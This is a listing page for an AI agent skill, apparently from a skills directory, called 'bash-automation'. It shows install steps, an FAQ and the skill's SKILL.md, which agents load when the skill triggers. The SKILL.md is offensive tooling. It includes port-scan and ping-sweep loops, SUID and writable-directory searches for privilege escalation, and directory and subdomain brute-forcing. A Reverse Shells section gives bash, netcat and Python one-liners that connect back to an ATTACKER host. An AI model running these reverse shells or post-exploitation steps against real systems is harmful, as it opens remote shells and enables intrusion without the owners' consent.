MCPInstall

bash-automation

by duck4nhProductivity & Automation

Bash scripting for security automation. One-liners, enumeration, post-exploitation. Use for quick scripts and automation tasks.

Installs
40
Last 24h
—
Trending rank
—
Security
Not audited

Install

Works with every agent the skills CLI supports.

npx skills add https://github.com/duck4nh/antigravity-kit --skill bash-automation
  1. 01

    Install

    Run the command in your project. The CLI asks which agents to install for.

  2. 02

    Describe the task

    Ask your agent for something this skill covers. It loads bash-automation automatically when relevant.

  3. 03

    Review the result

    The agent follows the SKILL.md steps, scripts and references bundled with the skill.

SKILL.md

The instructions your agent reads when the skill is triggered.

Bash Security Automation

Script Template

#!/bin/bash
set -euo pipefail

# Colors
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m'

log() { echo -e "${GREEN}[+]${NC} $1"; }
warn() { echo -e "${YELLOW}[!]${NC} $1"; }
error() { echo -e "${RED}[-]${NC} $1"; exit 1; }

usage() {
    cat << EOF
Usage: $(basename $0) <target> [options]
  -o FILE    Output file
  -t NUM     Threads (default: 10)
  -v         Verbose
EOF
    exit 1
}

[[ $# -lt 1 ]] && usage
TARGET=$1
shift

while getopts "o:t:vh" opt; do
    case $opt in
        o) OUTPUT="$OPTARG" ;;
        t) THREADS="$OPTARG" ;;
        v) VERBOSE=1 ;;
        *) usage ;;
    esac
done

log "Starting scan on $TARGET"
# Main logic here

Useful One-Liners

# Port scan without nmap
for p in {1..1000}; do 
    (echo >/dev/tcp/$IP/$p) 2>/dev/null && echo "$p open"
done

# Ping sweep
for i in {1..254}; do 
    ping -c1 -W1 192.168.1.$i &>/dev/null && echo "192.168.1.$i up"
done | sort -t. -k4 -n

# Find SUID binaries
find / -perm -4000 -type f 2>/dev/null

# Find writable directories
find / -writable -type d 2>/dev/null

# Extract URLs
grep -Eo 'https?://[^ ]+' file.txt | sort -u

# Parallel execution
cat targets.txt | xargs -P10 -I{} curl -s -o /dev/null -w "%{http_code} {}\n" {}

Reverse Shells

# Bash
bash -i >& /dev/tcp/ATTACKER/PORT 0>&1

# Netcat
nc -e /bin/sh ATTACKER PORT
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc ATTACKER PORT >/tmp/f

# Python
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

Enumeration Snippets

# Web directory check
while read path; do
    code=$(curl -s -o /dev/null -w "%{http_code}" "$URL/$path")
    [[ $code != "404" ]] && echo "$code $path"
done < wordlist.txt

# Subdomain brute
while read sub; do
    host "$sub.$DOMAIN" 2>/dev/null | grep "has address" && echo "$sub.$DOMAIN"
done < subdomains.txt

FAQ

What does the bash-automation skill do?

Bash scripting for security automation. One-liners, enumeration, post-exploitation. Use for quick scripts and automation tasks.

How do I install bash-automation?

Run npx skills add https://github.com/duck4nh/antigravity-kit --skill bash-automation in your project. The skills CLI detects the agents you use and copies the skill into the right folder. For Claude Code you can also place the skill folder at ~/.claude/skills/bash-automation/ (personal) or .claude/skills/bash-automation/ (project).

Which AI agents can use bash-automation?

Any agent that supports the open Agent Skills format (a folder with a SKILL.md file), including Claude Code, Codex, Cursor, GitHub Copilot, Gemini CLI, Windsurf, Cline, OpenCode and more.

Is bash-automation safe to install?

No partner security audit is available yet. Skills can run commands and scripts, so read the SKILL.md and any bundled files before installing.

Who maintains bash-automation?

It is published by duck4nh in duck4nh/antigravity-kit. It has 40 recorded installs.

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